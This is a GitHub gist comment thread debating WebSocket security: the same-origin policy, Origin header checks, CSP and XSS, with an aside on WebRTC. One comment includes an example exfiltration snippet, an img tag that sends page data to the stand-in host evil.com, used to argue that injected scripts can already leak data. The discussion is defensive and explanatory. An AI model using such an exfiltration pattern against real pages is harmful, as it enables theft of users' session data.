WebSockets is a modern HTML5 standard which makes communication between client and server a lot more simpler
-
Star
(212)
You must be signed in to star a gist -
Fork
(32)
You must be signed in to fork a gist
-
-
Save subudeepak/9897212 to your computer and use it in GitHub Desktop.
Glad I found this write up. Great information.
Thank you, this is really helpful.
You might want to address phone app communication. There same origin is impossible.
very informative, thanks for taking the time.
Checking the Origin
header is another alternative. All browsers send this header when a WebSocket connection is being established. The server can deny requests from untrusted origins.
@bminer : Any header can be spoofed/faked, it would not take long for an attacker to work out the server whitelist and spoof the Origin
header to match it
@bminer @mschipperheyn The Origin
header can be used (in a purely browser context with HSTS and HPKP enabled, appropriate cookie protection mechanisms in place or in a phone app with HSTS and proper key pinning enabled) to ensure security of the legitimate server with regard to a web-socket connection. It can otherwise be spoofed as explained by @AlexNodex.
@AlexNodex: Thanks !
However, if there is a malicious JS on the page (for example due to XSS or downloading a bad copy of a library and using it without even performing a simple checksum). The lack of enforcement of the SOP allows this script to establish a websocket connection with a remote malicious server. (Note: an XSS script cannot by default create an XHR request to other origins)
@simonmiller99 @tublitzed @moronkreacionz @Vjex Glad it was useful ! :)
Could somebody show a proof of concept where server-side checking of the Origin
header is insufficient? The difference between XHR and WS is that XHR allows manipulation of request headers from JS, while (as far as I can find) WS does not. Of course, you could make an XHR request to a WS endpoint but I don't think you could fake the upgrade-request handling in JS -- that has to be handled by the browser. So, I don't think it's actually possible to exploit WS (from a server that checks Origin
) just by injecting malicious JS... but would love to be proved wrong.
@thw0rted
Server-side checking of the Origin
protects the Server
in addition to other security protections is good.
Otherwise
- Malicious Extensions on a browser
- Proxies on the network
- Or in extreme cases, scripts (JS/Extensions) sending cookie and other session information to a malicious third-party server
can result in packets with whatever Origin
header being generated as mentioned by @AlexNodex
Please ping me on "subudeepak" /at/ gmail / outlook if you want faster replies :) Github never sends me notifications if someone posts things here.
- Malicious Extensions on a browser
You are meaning in case they couldn't access session info directly, they could combine Origin header change with cross site forgery?
- Or in extreme cases, scripts (JS/Extensions) sending cookie and other session information to a malicious third-party server
Didn't get this part either, if you are talking about XSS and JS injection, this is not the Origin header verification concern.
I'm confused. If malicious scripts are running in your browser, those scripts can make XHRs to the malicious server already. I don't think SOP prevents that. The malicious server could just be set up to Access-Control-Allow-Origin: *
so that it accepts requests from arbitrary origins. My understanding is that what CORS prevents is a malicious script from accessing or tampering with data on a GOOD site. See https://stackoverflow.com/a/4850752/798955
@mschipperheyn you can use WebRTC for that
( @subudeepak ) and I'm curious about using WebRTC Data Channels instead of Websockets. Probably are "more secure".
@subudeepak I see some serious problems with this analysis.
Your observation that websockets can be used as a tool by malicious code that may be injected into a 3rd party library hosted on a CDN, while correct, ignores this much larger fact:
If a 3rd party script referenced by your page contains any malicious code at all, you have already lost the war. At that point, you must assume that the entire session is compromised.
As the old adage goes:
If a hacker ever gains root access, he owns that machine forever.
A modern day web twist on the classic could be:
If a hacker is able to get his code to run on your page, he owns that session forever.
Claiming that websockets are dangerous because they provide a tool to actors who have already executed code in your context is like saying that it's a bad to arrange your living room furniture in a sparse, open layout because it provides an easier, less obstructed path for burglars to carry your heavy valuables out the door.
If someone's broken into your house, you don't ever want to rely on the fact that your couch inconveniently flanks the hallway. Likewise, someone who is in a position to be able to initiate an outgoing websocket connection to a foreign remote server has already won. If they are successfully blocked from opening a cross origin socket, then they can just fall back to inserting a script tag into the DOM, or at the very least pulling off a cute little '<img src="evil.com?' + YOUR_DATA + '">'
@bhh1988 brings up this point, and is correct in pointing out that the SOP protects "GOOD sites", not sites that have already been compromised in some way (those sites are screwed no matter what).
If you're running a production system and security is important to you, then don't hot link directly to 3rd party scripts hosted on a CDN.
You are clearly a smart guy, and you seem to acknowledge all of this:
Of course, these could have happened even without WebSockets ...
...but then you advocate a form of security through obscurity:
... but WebSockets reduces the complexity to do this.
This allows unlimited possibilities and the attacker can keep using the client in so many ways by posting one payload after another.
so... kind of like sending XHRs one after another?
Furthermore, don't put your fate in the hands of strange browser on the other side of the world. Just because you ask the browser to pretty-please respect your Content-Security-Policy doesn't necessarily mean it will. Hopefully it does, but there are always black swans.
What if google ships a botched chrome update (unlikely, but it wouldn't totally shock me) that skips those checks under a strange combination of circumstances?
What if your traffic goes through a (reverse) proxy or cache that inadvertently strips certain HTTP headers?
What if your devops guy slips up while configuring nginx?
Origin headers have their own set of edge cases and implementation inconsistencies. There are a million of these potential "unknown unknowns", and putting all your trust in the end user's browser to be your savior is never the answer.
At the end of the day, websockets are an extremely clever and innovative way of making it significantly easier to do things that were already possible before - easier for frontend developers, easier for backend developers, easier for sysadmins and infrastructure admins.... and, yes, easier for hackers who already own your site regardless. I suppose this all boils down to the philosophical question: does making things inconvenient for attackers constitute security?
I have replied to some people who have reached out to me by email. Apologies to anyone asking queries here for extremely delayed responses.
@pedro-nonfree I will write a more detailed reply to you on that.
@jaamison please do not misunderstand my claims. I do not imply that the streams of the websockets are insecure or some thing obscure like that. I imply that selectively applying the same origin policy is a bad choice. Websockets suffer because a selective panel decided that the same origin policy did not apply for websockets when agreeing that it applied to XHR. Either SOP makes sense for both or none. I claim it should and must be controlled by similar mechanisms as cors that apply to XHR.
If you state that any bad script existing in your page or browser means none of your other controls are a necessity, I wonder if you do a complete static analysis of every third party library you use.
I merely advise you to disable cross origin access for websockets using the content security policy since I consider this should have been the default and never in my whole analysis suggested you to avoid websockets.
@pedro-nonfree As far as I can see webrtc data streams have a lot of security features that can be enforced. It is quite a robust protocol built on very sound principles. This protocol is quite similar to a traditional phone line. So understanding the limitations is important. First is authentication. While the protocol supports authentication, this is often times not enforced properly since many parts of these are optional to begin with. Second is the security of the data-streams. Data-streams are supposed to be very secure as far as the encryption protocols are concerned. Implementations may however have something like an intermediary server that acts like an end-node to both parties (rather than acting as a forwarding node) and this may cause the privacy offered by the data-stream to very reliant on the implementation. Third is the call-forward. Just like a phone call, a stream in webrtc is requires a party to act as a forwarder and this can be tricky. I had worked with people in KU leuven and published at more about these things a few years ago. Please find them at https://lirias.kuleuven.be/retrieve/387249
Amazing article. Thanks !
Thanks For the Excellent Information !